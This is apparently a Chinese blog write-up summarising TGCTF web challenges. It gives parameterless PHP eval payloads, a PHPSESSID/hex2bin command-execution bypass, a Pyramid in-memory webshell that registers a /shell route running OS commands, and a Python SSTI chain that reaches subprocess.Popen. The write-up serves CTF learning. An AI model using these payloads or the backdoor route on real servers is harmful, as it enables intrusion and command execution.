TGCTF知识梳理

Web

无参RCE/PHPSESSID绕过

无参RCE

TGCTF中并非是标准的无参RCE,但还是可以通过无参RCE来做,不过预期考点是PHPSESSID绕过

经典的无参RCE像这样:

1
2
3
4
5
6
php
<?php
    if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']){
            eval($_GET['exp']);
    }
?>

正则表达式递归匹配函数中的参数,使我们无法传参,所以我们需要只使用函数来达到获取flag的目的

无参RCE本质是程序中错误地使用了命令执行函数如 eval() 且采用了存在绕过隐患的黑名单匹配用户输入,考察的点是对PHP中函数特性的利用

下面整理一些可以被利用的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)

localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)

current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西

getcwd() :取得当前工作目录

dirname():函数返回路径中的目录部分

array_flip() :交换数组中的键和值,成功时返回交换后的数组

array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。

chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

比如:

scandir(‘.’) 可以返回当前目录,但是正则匹配了我们的参数,导致我们无法传参。所以我们需要想办法构造一个” . “ ,这时候我们就可以利用 localeconv() ,因为它返回的第一个元素就是 “ . “ ( 关于为什么 localeconv() 返回的第一个元素是 . 可以看这里:PHP localeconv() 函数 )

这时候我们就可以得到一个查看当前目录文件的Payload:

?参数=var_dump(scandir(current(localeconv())));

这里 current() 的作用是把 localeconv() 返回的点取出 (原理看这里:PHP current() 函数

根据flag文件的位置不同,我们可以搭配 next() 或 prev() 和 array_reverse() 一起使用

比如:

我们使用 ?参数=var_dump(scandir(current(localeconv()))); 看到当前目录是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
php
array(3) {
    [0]=>
    string(1) "."
    [1]=>
    string(2) ".."
    [2]=>
    string(3) ".git"
    [3]=>
    string(4) "flag.php"
    [4]=>
    string(5) "index.php"
}

我们看到 flag.php 在倒数第二个,比较靠后的位置,这时候我们就可以用 array_reverse() 将数组内容反转,让它从倒数第二变成正数第二:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
php
array(3) {
    [0]=>
    string(5) "index.php"
    [1]=>
    string(4) "flag.php"
    [2]=>
    string(3) ".git"
    [3]=>
    string(2) ".."
    [4]=>
    string(1) "."
}

然后我们就可以使用 next() 使内部指针指向第二个元素(即flag.php)并将其输出,最后我们可以用 highlight_file() 返回文件内容

相关的方法:

1
2
3
4
5
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。

常见Payload:

1
2
3
4
5
6
7
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

以上是如何读取flag ,接下来我们来看看如何命令执行:

使用session_id() 来RCE的也算在这里面,但这个我们单拎出来放后面

getallheaders()

getallheaders()返回当前请求的所有请求头信息,局限于Apache( apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache )

当我们确定服务器使用Apache时,我们可以尝试使用 getallheaders() 函数来查看请求头信息,如果成功回显,我们就可以在请求头最后写入恶意代码,然后利用end() 来执行

例如:我们写入 phpinfo();

var_dump(end(getallheaders()));

end()指向最后一行的代码,达到phpinfo的目的,然后可以进一步去rce。

get_defined_vars()

get_defined_vars() 函数返回由所有已定义变量所组成的数组。它可以回显全局变量 $_GET、$_POST、$_FILES、$_COOKIE,

返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES

同样首先确认是否有回显:

print_r(get_defined_vars());

我们可以在后面拼接一个恶意代码:

a=eval(end(current(get_defined_vars())));&b=system(‘ls /‘); // a是原有的参数 //把eval换成assert也行 ,能执行system(‘ls /‘)就行

执行逻辑:

1. 参数传递

用户发送的 GET 请求参数:

1
2
plaintext
a=eval(end(current(get_defined_vars())));&b=system('ls /');
  • 参数 a 的值为字符串 eval(end(current(get_defined_vars())))
  • 参数 b 的值为字符串 system('ls /')

2. 执行 eval($_GET['a'])

PHP 脚本调用 eval($_GET['a']),将参数 a 的值作为 PHP 代码执行:

1
2
php
eval("eval(end(current(get_defined_vars())));");

3. 内层 eval 的执行流程

拆解内层 eval 的参数 end(current(get_defined_vars()))

  • 步骤 3.1get_defined_vars() 返回当前作用域的所有已定义变量(包括超全局变量 $_GET$_SERVER 等)。 返回的数组结构类似:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    php
    array(
        '_GET' => array(
            'a' => 'eval(end(current(get_defined_vars())))',
            'b' => 'system(\'ls /\')'
        ),
        // 其他变量如 $_SERVER$_POST 
        // 脚本中可能定义的其他变量
    );
    
  • 步骤 3.2current(get_defined_vars())get_defined_vars() 返回数组的第一个元素的值。假设第一个元素是 $_GET,则返回 $_GET 数组:

    1
    2
    
    php
    array('a' => '...', 'b' => '...');
    
  • 步骤 3.3end(current(get_defined_vars()))$_GET 数组的内部指针移动到最后一个元素,并返回该元素的值。假设参数 b 是最后一个元素,则返回 system('ls /')

  • 步骤 3.4:外层 eval 执行结果 最终执行 eval("system('ls /')"),即调用 system('ls /'),执行 Linux 命令 ls /,列出根目录内容。

PHPSESSID绕过

当请求头中有cookie时,( 或者走投无路时,我们可以尝试添加cookie )这时候我们就可以考虑使用PHPSESSID绕过

hex2bin()

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。所以我们可以将恶意代码转换成十六进制,然后在写入cookie中,从而达到执行命令的目的

例:

phpinfo();的十六进制编码,即706870696e666f28293b

传入Payload:

?参数=eval(hex2bin(session_id(session_start())));

然后在cookie中写入:

cookie: PHPSESSID=706870696e666f28293b

TGCTF中的预期解就是这样:

1
2
3
?tgctf2025=session_start();system(hex2bin(session_id()));

PHPSESSID=636174202f666c6167 cat /flag的十六进制

参考:

无参数RCE绕过的详细总结(六种方法) 深入浅出带你学习无参RCE php 命令执行中 PHPSESSID 妙用

内存马,pyramid 框架内存马

内存马

这个后面另外详细写一篇进行整理

pyramid 框架内存马

这道题中我们注意到:

1
2
3
4
5
6
python
def checkExpr(expr_input):
    expr = re.split(r"[-+]", expr_input)
    print(exec(expr_input))  # 致命漏洞:未过滤直接执行用户输入!
    if len(expr) != 2:
        return 0

这一部分完全没有过滤用户输入,所以我们可以很轻松地传递 expr 来写入内存马

我们这样注入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
python
expr=exec("
# 获取当前配置器(确保作用域正确)
from pyramid.threadlocal import get_current_registry
registry = get_current_registry()
config = registry.settings['pyramid.configurator']

# 添加路由和视图
config.add_route('shell', '/shell')
config.add_view(
    lambda req: Response(__import__('os').popen(req.params.get('cmd')).read()),
    route_name='shell'
)
config.commit()  # 关键!提交配置变更
")#+1

后面访问 shell 路由来RCE就行

这道题中的内存马比较好写,完全没有过滤,Pyramid又允许在运行时动态修改路由配置,所以我们直接往进加后门路由就好了

SSTI,类继承利用

Payload:

1
2
3
4
5
6
python
(
    [].__class__.__mro__[1].__subclasses__()[351](
        'cat flag', shell=True, stdout=-1
    ).communicate()[0].strip()
)

用AI解释一下:

这个代码片段是一个典型的 Python SSTI(Server-Side Template Injection)攻击 Payload,通过滥用 Python 的反射和继承机制来执行任意系统命令。以下是其详细解释和工作原理分析:


代码结构拆解

1
2
3
4
5
6
python
(
    [].__class__.__mro__[1].__subclasses__()[351](
        'cat flag', shell=True, stdout=-1
    ).communicate()[0].strip()
)

逐层解析

  1. [](空列表)
  • 创建一个空列表对象,作为后续操作的起点。
  1. .__class__
  • 获取列表对象的类(即

    1
    
    list
    

    类):

    1
    2
    
    python
    list_class = [].__class__  # 等价于 list
    
  1. .__mro__
  • 1
    
    __mro__
    

    是一个元组,表示类的

    方法解析顺序

    (Method Resolution Order)。对于

    1
    
    list
    

    类,其继承链为:

    1
    2
    
    plaintext
    list → object
    

    因此:

    1
    2
    
    python
    mro_tuple = list_class.__mro__  # 输出:(list, object)
    
  1. [1](取第二个元素)
  • 1
    
    __mro__
    

    的第二个元素(即

    1
    
    object
    

    类):

    1
    2
    
    python
    object_class = mro_tuple[1]  # 等价于 object
    
  1. .__subclasses__()
  • 1
    
    object
    

    类的

    1
    
    __subclasses__()
    

    方法返回

    所有直接子类的列表

    。这些子类包括 Python 内置的许多类,例如:

    • type(元类)

    • int, str, list, dict 等基本类型

    • subprocess.Popen(关键点!)

    • 其他系统级类

      1
      2
      
      python
      subclasses = object_class.__subclasses__()
      
  1. [351](索引 351)
  • 通过索引

    1
    
    351
    

    定位到

    1
    
    subprocess.Popen
    

    类:

    1
    2
    
    python
    Popen_class = subclasses[351]
    
    • 关键点:索引 351 是根据特定 Python 版本和环境确定的。例如,在 Python 3.8 中,subprocess.Popen 的索引可能为 351,但不同版本或环境可能不同。
  1. 调用 Popen 构造函数
  • 使用

    1
    
    Popen
    

    类创建进程对象,执行命令:

    1
    2
    
    python
    process = Popen_class('cat flag', shell=True, stdout=-1)
    
    • 'cat flag':要执行的系统命令。
    • shell=True:允许通过 shell 执行命令(危险!)。
    • stdout=-1:等同于 stdout=subprocess.PIPE,捕获标准输出。
  1. .communicate()
  • 等待进程完成,并返回

    1
    
    (stdout_data, stderr_data)
    

    元组:

    1
    2
    
    python
    output_tuple = process.communicate()
    
  1. [0].strip()
  • 获取标准输出(

    1
    
    stdout_data
    

    )并去除首尾空白字符:

    1
    2
    
    python
    result = output_tuple[0].strip()
    
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计